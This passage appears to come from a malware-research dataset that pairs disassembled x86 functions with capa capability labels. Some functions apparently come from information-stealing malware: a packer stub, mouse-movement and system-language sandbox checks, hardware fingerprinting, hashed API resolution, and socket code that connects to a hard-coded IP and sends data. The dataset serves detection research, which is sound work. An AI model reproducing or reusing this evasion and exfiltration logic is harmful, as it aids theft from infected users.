joyce8/EMBER2024-capa huggingface dataset:
Function at 0x442c90
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x469360]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x442cd0
cmp byte [ebx], 0xa
jne 0x442cd0
or byte [edi + eax + 0x28], 4
jmp 0x442cd5
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x442dd4
mov dl, byte [eax]
cmp dl, 0x1a
je 0x442db7
inc eax
cmp dl, 0xd
je 0x442d01
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x442d27
cmp eax, ecx
jae 0x442d35
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x442ce9
jmp 0x442dd4
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x442db2
cmp dword [ebp - 0x10], 0
je 0x442db2
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x469360]
test byte [eax + edi + 0x28], 0x48
je 0x442d8c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x442d77
mov byte [esi], dl
jmp 0x442d88
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x469360]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x442dd4
cmp byte [ebp - 1], 0xa
jne 0x442d9b
cmp esi, ebx
jne 0x442d9b
mov byte [esi], 0xa
jmp 0x442dd3
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00442c32
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x442dd4
mov byte [esi], 0xd
jmp 0x442dd3
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x469360]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x442dd1
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x442dd4
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40fa95
Capabilities:
Create thread
Terminate process

Disassembly:
push esi
xor esi, esi
push esi
push esi
push esi
push 0x40f9ca
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x491c90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x45c015
lea edi, [esi - 0x5b015]
push edi
or ebp, 0xffffffff
jmp 0x491cb2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x491cb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x491ca8
mov eax, 1
add ebx, ebx
jne 0x491ccb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x491cdc
jne 0x491cfb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x491cfb
dec eax
add ebx, ebx
jne 0x491ce8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x491cc0
add ebx, ebx
jne 0x491cf7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x491d4d
xor ecx, ecx
sub eax, 3
jb 0x491d13
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x491d82
sar eax, 1
mov ebp, eax
jmp 0x491d1e
add ebx, ebx
jne 0x491d1e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x491cec
inc ecx
add ebx, ebx
jne 0x491d2c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x491cec
add ebx, ebx
jne 0x491d39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x491d2e
jne 0x491d4a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x491d2e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x491d6c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x491d5e
jmp 0x491cae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x491d6c
add edi, ecx
jmp 0x491cae
pop esi
mov edi, esi
mov ecx, 0x2c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x491d8a
cmp byte [edi], 0
jne 0x491d8a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x491d8f
lea edi, [esi + 0x8f000]
mov eax, dword [edi]
or eax, eax
je 0x491dfe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x911e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9126c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x491dbc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x91274]
or eax, eax
je 0x491df8
mov dword [ebx], eax
add ebx, 4
jmp 0x491dd9
call dword [esi + 0x91270]
mov ebp, dword [esi + 0x91278]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x491e32
sub esp, 0xffffff80
jmp 0x401d2a
Function at 0x401b98
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], ecx
push edi
push 3
pop ecx
xor edx, edx
mov ebx, dword [ebp + 8]
lea eax, [esi + 2]
div ecx
mov ecx, eax
shl ecx, 2
mov dword [ebx], ecx
call fcn.004034f0
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x401c80
xor ecx, ecx
test esi, esi
je 0x401c5c
mov ebx, edi
mov edi, dword [ebp - 4]
cmp ecx, esi
jae 0x401be5
movzx edx, byte [ecx + edi]
inc ecx
jmp 0x401be7
xor edx, edx
cmp ecx, esi
jae 0x401bf5
movzx eax, byte [ecx + edi]
inc ecx
mov dword [ebp - 4], eax
jmp 0x401bf9
and dword [ebp - 4], 0
cmp ecx, esi
jae 0x401c04
movzx eax, byte [ecx + edi]
inc ecx
jmp 0x401c06
xor eax, eax
shl edx, 8
add edx, dword [ebp - 4]
shl edx, 8
add edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 1], al
mov eax, edx
shr eax, 6
and edx, 0x3f
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 2], al
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 3], al
add ebx, 4
cmp ecx, esi
jb 0x401bde
mov edi, dword [ebp - 8]
mov ebx, dword [ebp + 8]
push 3
xor edx, edx
mov eax, esi
pop ecx
div ecx
mov ecx, dword [edx*4 + 0x407140]
test ecx, ecx
jle 0x401c7e
mov eax, dword [ebx]
dec eax
add eax, edi
mov byte [eax], 0x3d
dec eax
sub ecx, 1
jne 0x401c75
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401c87
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 0x24], 0x50595243
mov edi, ecx
mov dword [ebp - 0x20], 0x2e323354
xor ebx, ebx
mov dword [ebp - 0x1c], 0x6c6c64
lea edx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x75bb510b
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xc], ebx
call fcn.004046ba
cmp al, 1
jne 0x401d22
push 0xc
xor edx, edx
lea ecx, [ebp - 0x24]
call fcn.0040355e
add esp, 4
mov dword [ebp - 0x14], edi
lea eax, [ebp - 8]
mov dword [ebp - 0x18], esi
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x401cf8
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov byte [eax + ecx], bl
jmp 0x401d22
lea eax, [esi + esi]
cmp esi, eax
jne 0x401d22
push 8
pop ecx
lea eax, [ebp - 8]
mov esi, str.Poverty_is_the_parent_of_crime.
push eax
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x18]
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.CRYPT32.dll_CryptProtectData]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401f03
Capabilities:
Get keyboard layout
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
mov eax, 0x419
mov word [ebp - 0x20], ax
mov eax, 0x422
mov word [ebp - 0x1e], ax
mov eax, 0x423
mov word [ebp - 0x1c], ax
mov eax, 0x42c
mov word [ebp - 0x1a], ax
mov eax, 0x42b
mov word [ebp - 0x18], ax
mov eax, 0x43f
mov word [ebp - 0x16], ax
mov eax, 0x440
mov word [ebp - 0x14], ax
mov eax, 0x438
mov word [ebp - 0x12], ax
mov eax, 0x428
mov word [ebp - 0x10], ax
mov eax, 0x443
mov word [ebp - 0xe], ax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov word [ebp - 8], ax
mov byte [ebp - 2], 0
jmp 0x401f7e
mov al, byte [ebp - 2]
add al, 1
mov byte [ebp - 2], al
movzx eax, byte [ebp - 2]
cmp eax, 0xa
jae 0x401f9d
movzx eax, byte [ebp - 2]
movzx eax, word [ebp + eax*2 - 0x20]
movzx ecx, word [ebp - 8]
cmp eax, ecx
jne 0x401f9b
jmp dword [ebp - 0x20]
jmp 0x401f76
movzx eax, word [ebp - 8]
push eax
push str.__SystemLayout__d_r_n
push 0
call fcn.004035c3
add esp, 0xc
push str.__KeyboardLayouts:__
push 0
call fcn.004035c3
pop ecx
pop ecx
lea eax, [ebp - 0xe8]
push eax
push 0x32
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x402018
mov byte [ebp - 1], 0
jmp 0x401fe5
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
cmp eax, dword [ebp - 0xc]
jge 0x402018
movzx eax, byte [ebp - 1]
movzx eax, word [ebp + eax*4 - 0xe8]
push eax
push str._d
push 0
call fcn.004035c3
add esp, 0xc
movzx eax, byte [ebp - 1]
and dword [ebp + eax*4 - 0xe8], 0
jmp 0x401fdd
push str.___r_n
push 0
call fcn.004035c3
pop ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x40202a
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
movaps xmm0, xmmword [0x407590]
mov ecx, 0x100
push ebx
push esi
push edi
movups xmmword [esp + 0x14], xmm0
call fcn.004034f0
mov dword [esp + 0xc], eax
mov edi, 0x80000000
mov eax, edi
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, [esp + 0x14]
mov dword [ebx], eax
mov dword [ebx + 4], esi
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], eax
cmp eax, edi
jb 0x4020d9
mov eax, edi
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, [esp + 0x14]
mov dword [ebx], eax
mov dword [ebx + 4], esi
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
cmp edi, 0x80000002
jne 0x4020a4
mov ecx, dword [esp + 0xc]
jmp 0x4020c4
cmp edi, 0x80000003
jne 0x4020b5
mov ecx, dword [esp + 0xc]
lea ecx, [ecx + 0x10]
jmp 0x4020c4
cmp edi, 0x80000004
jne 0x4020d2
mov ecx, dword [esp + 0xc]
lea ecx, [ecx + 0x20]
push 0x10
lea edx, [esp + 0x18]
call fcn.00403533
add esp, 4
inc edi
cmp edi, dword [esp + 0x10]
jbe 0x40207d
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x4020fc
lea eax, [esp + 0x4c]
push eax
push str.__HWID:__s_r_n
push 0
call fcn.004035c3
add esp, 0xc
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [esp + 0x38]
mov ebx, dword [esp + 0x10]
push ebx
push str.__CPU:__s___d_cores__r_n
push 0
call fcn.004035c3
add esp, 0x10
mov ecx, ebx
call fcn.0040351e
mov ebx, dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
lea eax, [esp + 0xc8]
xor edi, edi
xor esi, esi
inc edi
push edi
push eax
push edi
jmp 0x402178
mov eax, dword [esp + 0xc8]
cmp esi, eax
je 0x402167
lea eax, [esp + 0xec]
push eax
push edi
push str.__VideoAdapter__d:__s_r_n
push 0
call fcn.004035c3
mov eax, dword [esp + 0xd8]
add esp, 0x10
test esi, esi
push 1
cmove esi, eax
lea eax, [esp + 0xcc]
inc edi
push eax
push edi
push 0
mov dword [esp + 0xd8], 0x1a8
call ebx
test eax, eax
jne 0x40213d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402192
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
jne 0x4021a8
jmp 0x4021df
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
xor eax, eax
inc eax
je 0x4021df
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 4]
jne 0x4021d3
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
je 0x4021d5
jmp 0x4021df
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4021b4
mov esp, ebp
pop ebp
ret
Function at 0x403860
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov edx, 0x2014b50
call fcn.004037ab
mov dx, word [edi]
lea esi, [ebx + 4]
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 2]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 4]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 6]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 8]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 0xa]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov edx, dword [edi + 0xc]
add esi, eax
mov ecx, esi
call fcn.004037ab
mov edx, dword [edi + 0x10]
lea ecx, [esi + 4]
call fcn.004037ab
mov edx, dword [edi + 0x14]
lea ecx, [esi + 8]
call fcn.004037ab
mov dx, word [edi + 0x18]
add esi, 0xc
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 0x1a]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 0x1c]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 0x1e]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 0x20]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov edx, dword [edi + 0x24]
add esi, eax
mov ecx, esi
call fcn.004037ab
mov edx, dword [edi + 0x28]
lea ecx, [esi + 4]
call fcn.004037ab
movzx eax, word [edi + 0x18]
add esi, 8
test ax, ax
je 0x403960
mov edx, dword [edi + 0x2c]
mov ecx, esi
push eax
call fcn.00403533
movzx eax, word [edi + 0x18]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1a]
test ax, ax
je 0x40397d
mov edx, dword [edi + 0x30]
mov ecx, esi
push eax
call fcn.00403533
movzx eax, word [edi + 0x1a]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1c]
test ax, ax
je 0x40399a
mov edx, dword [edi + 0x34]
mov ecx, esi
push eax
call fcn.00403533
movzx ecx, word [edi + 0x1c]
add esp, 4
add esi, ecx
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4039a2
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov edx, 0x4034b50
call fcn.004037ab
mov dx, word [edi]
lea esi, [ebx + 4]
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 2]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 4]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 6]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov dx, word [edi + 8]
add esi, eax
mov ecx, esi
call fcn.004037c4
mov edx, dword [edi + 0xc]
add esi, eax
mov ecx, esi
call fcn.004037ab
mov edx, dword [edi + 0x10]
lea ecx, [esi + 4]
call fcn.004037ab
mov edx, dword [edi + 0x14]
lea ecx, [esi + 8]
call fcn.004037ab
mov dx, word [edi + 0x18]
lea ecx, [esi + 0xc]
call fcn.004037c4
mov dx, word [edi + 0x1a]
lea ecx, [esi + 0xe]
call fcn.004037c4
movzx eax, word [edi + 0x18]
add esi, 0x10
test ax, ax
je 0x403a51
mov edx, dword [edi + 0x1c]
mov ecx, esi
push eax
call fcn.00403533
movzx eax, word [edi + 0x18]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1a]
test ax, ax
je 0x403a6e
mov edx, dword [edi + 0x20]
mov ecx, esi
push eax
call fcn.00403533
movzx ecx, word [edi + 0x1a]
add esp, 4
add esi, ecx
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403b48
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
mov eax, ecx
mov dword [ebp - 4], eax
cmp dword [0x4080c4], edi
jne 0x403b8f
push ebx
push esi
mov esi, edi
push 8
mov ecx, esi
pop ebx
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor ecx, eax
sub ebx, 1
jne 0x403b65
mov dword [esi*4 + 0x4080c0], ecx
inc esi
cmp esi, 0x100
jl 0x403b60
mov eax, dword [ebp - 4]
pop esi
pop ebx
or ecx, 0xffffffff
test edx, edx
je 0x403bb1
movzx eax, byte [edi + eax]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4080c0]
inc edi
mov eax, dword [ebp - 4]
cmp edi, edx
jb 0x403b96
not ecx
mov eax, ecx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x404063
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
ret

Function at 0x4046ba
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], edx
push edi
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x4046ec
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x4046ec
xor al, al
jmp 0x4047c6
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4047c3
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x4047c3
mov ecx, 0x2000
test word [eax + 0x16], cx
je 0x4047c3
mov edi, dword [eax + 0x78]
test edi, edi
je 0x4047c3
cmp dword [eax + 0x7c], 0
je 0x4047c3
mov eax, dword [edi + esi + 0x1c]
mov ecx, dword [edi + esi + 0x24]
add eax, esi
mov dword [ebp - 0x1c], eax
add ecx, esi
mov eax, dword [edi + esi + 0x20]
push ebx
xor ebx, ebx
mov dword [ebp - 0x18], ecx
add eax, esi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x20], eax
cmp dword [edi + esi + 0x18], ebx
jbe 0x4047c2
mov eax, dword [eax + ebx*4]
mov edx, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x10], eax
xor bl, bl
movzx ecx, bl
mov dword [ebp - 0x14], ecx
cmp dword [edx + ecx*4], 0
je 0x4047b2
mov ecx, eax
call fcn.0040360d
mov ecx, dword [ebp - 0x10]
mov edx, eax
call fcn.00403b48
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
cmp eax, dword [edx + ecx*4]
je 0x404797
mov eax, dword [ebp - 0x10]
inc bl
cmp bl, 0xff
jb 0x404763
jmp 0x4047b2
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + eax*4]
movzx eax, bl
add ecx, esi
inc byte [ebp - 1]
mov dword [edx + eax*4], ecx
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
inc ebx
mov dword [ebp - 8], ebx
cmp ebx, dword [edi + esi + 0x18]
jb 0x404756
pop ebx
mov al, byte [ebp - 1]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x405322
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
mov dword [ebp - 0x4c], 0xa0f5fc93
mov dword [ebp - 0x48], 0x5e568bb
mov dword [ebp - 0x44], 0x74cff91f
mov dword [ebp - 0x40], 0xa7733acd
mov dword [ebp - 0x3c], 0x59d852ad
mov dword [ebp - 0x38], 0xa5c6d777
mov dword [ebp - 0x34], 0x377545a2
mov dword [ebp - 0x30], 0x8e3398bc
mov dword [ebp - 0x2c], 0xed514704
and dword [ebp - 0x28], 0
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x32
mov byte [ebp - 0x21], 0x5f
mov byte [ebp - 0x20], 0x33
mov byte [ebp - 0x1f], 0x32
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0
lea edx, [ebp - 0x4c]
lea ecx, [ebp - 0x24]
call fcn.004046ba
movzx eax, al
cmp eax, 9
je 0x4053b4
xor al, al
jmp 0x4054f3
mov byte [ebp - 1], 0
mov byte [ebp - 0x18], 0x38
mov byte [ebp - 0x17], 0x39
mov byte [ebp - 0x16], 0x2e
mov byte [ebp - 0x15], 0x32
mov byte [ebp - 0x14], 0x33
mov byte [ebp - 0x13], 0x38
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x31
mov byte [ebp - 0x10], 0x37
mov byte [ebp - 0xf], 0x30
mov byte [ebp - 0xe], 0x2e
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x34
mov byte [ebp - 0xb], 0x30
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x1ec]
push eax
push 0x202
push 4
pop eax
imul eax, eax, 0
call dword [ebp + eax - 0x4c]
test eax, eax
jne 0x4054f0
push 2
pop eax
mov word [ebp - 0x5c], ax
mov cx, 0x8b3
call fcn.00405316
mov word [ebp - 0x5a], ax
push 0
push 1
movsx eax, word [ebp - 0x5c]
push eax
push 4
pop eax
shl eax, 0
call dword [ebp + eax - 0x4c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4054e6
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x18]
call fcn.00405284
push 0xf
xor edx, edx
lea ecx, [ebp - 0x18]
call fcn.0040355e
pop ecx
movzx eax, byte [ebp - 1]
test eax, eax
jne 0x4054d9
push 0x10
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 8]
push 4
pop eax
shl eax, 1
call dword [ebp + eax - 0x4c]
cmp eax, 0xffffffff
je 0x4054cc
push 0
movzx eax, word [0x408508]
push eax
push dword [0x40850c]
push dword [ebp - 8]
push 4
pop eax
imul eax, eax, 3
call dword [ebp + eax - 0x4c]
cmp eax, 0xffffffff
je 0x4054cc
push 0
mov eax, dword [ebp + 0xc]
inc eax
push eax
push dword [ebp + 8]
push dword [ebp - 8]
push 4
pop eax
imul eax, eax, 3
call dword [ebp + eax - 0x4c]
cmp eax, 0xffffffff
je 0x4054cc
mov ecx, dword [0x40850c]
call fcn.0040351e
mov byte [ebp - 1], 1
jmp 0x4054d9
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40545e
push dword [ebp - 8]
push 4
pop eax
imul eax, eax, 5
call dword [ebp + eax - 0x4c]
push 4
pop eax
imul eax, eax, 7
call dword [ebp + eax - 0x4c]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0x43b637
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop eax
sub edi, edi
dec edi
inc ecx
call fcn.0043b663
add edi, ecx
xor dword [ebx], eax
mov ecx, 0x2d25df41
inc ebx
sub edi, ecx
cmp ebx, edx
jne fcn.0043b637
add ecx, 1
push edi
pop edi
ret
Function at 0x6620142f
Capabilities:
Create process on windows
Create process suspended
Set environment variable
Terminate process

Disassembly:
mov eax, 0x66215ede
call fcn.6620b838
sub esp, 0x36c
push ebx
push esi
push edi
xor ebx, ebx
lea ecx, [ebp - 0x218]
mov dword [ebp - 4], ebx
call fcn.66202d60
mov esi, 0x66217468
lea eax, [ebp - 0x218]
push esi
push eax
mov byte [ebp - 4], 1
call fcn.66203680
pop ecx
pop ecx
lea ecx, [ebp - 0x118]
call fcn.66202d60
push ebx
lea eax, [ebp - 0x118]
push eax
push dword [ebp - 0x218]
mov byte [ebp - 4], 2
call fcn.662039e0
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add esp, 0xc
cmp eax, ebx
jl 0x662014f5
push 0xffffffffffffffff
push 0x66217464
lea ecx, [ebp - 0x378]
call fcn.66203530
push ebx
push eax
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 3
call fcn.66202c70
neg eax
sbb al, al
inc al
lea ecx, [ebp - 0x378]
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 2
call fcn.66203260
push ebx
cmp byte [ebp - 0xd], bl
je 0x662014f2
push str.AppSync
push str.Your_application_was_updated._____________Please_relaunch_to_use_the_new_version
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call edi
push 0x44
pop esi
push esi
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.6620b860
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], esi
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x2c8]
call fcn.662034b0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 2
push 1
push ebx
lea eax, [ebp - 0x14]
push eax
call esi
push eax
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push dword [ebp - 0x14]
lea eax, [ebp - 0x168]
push 0x662173a8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x168]
push eax
push str.TS_PARENT_HANDLE
call edi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push ebx
